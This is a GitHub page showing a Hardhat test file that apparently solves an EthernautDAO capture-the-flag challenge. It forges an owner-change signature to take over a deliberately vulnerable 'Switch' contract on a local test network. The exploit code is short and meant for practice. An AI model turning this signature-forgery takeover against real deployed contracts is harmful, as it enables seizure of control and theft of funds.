generated from nicobevilacqua/EthernautDAOWeeklyChallenges
-
Notifications
You must be signed in to change notification settings - Fork 0
/
07-Switch.test.ts
38 lines (28 loc) · 1.04 KB
/
07-Switch.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers } from 'hardhat';
describe('Switch', () => {
let target: Contract;
let attacker: SignerWithAddress;
let deployer: SignerWithAddress;
before(async () => {
[attacker, deployer] = await ethers.getSigners();
target = await (await ethers.getContractFactory('Switch', deployer)).deploy();
await target.deployed();
target = target.connect(attacker);
});
it('attack', async () => {
const hash = ethers.utils.keccak256(
ethers.utils.concat([
ethers.utils.toUtf8Bytes('\x19Ethereum Signed Message:\n32'),
ethers.utils.keccak256(await target.owner()),
])
);
const signature = await attacker.signMessage(hash);
const { v, r, s } = ethers.utils.splitSignature(signature);
const tx = await target['changeOwnership(uint8,bytes32,bytes32)'](v, r, s);
await tx.wait();
expect(await target.owner()).to.equal(attacker.address);
});
});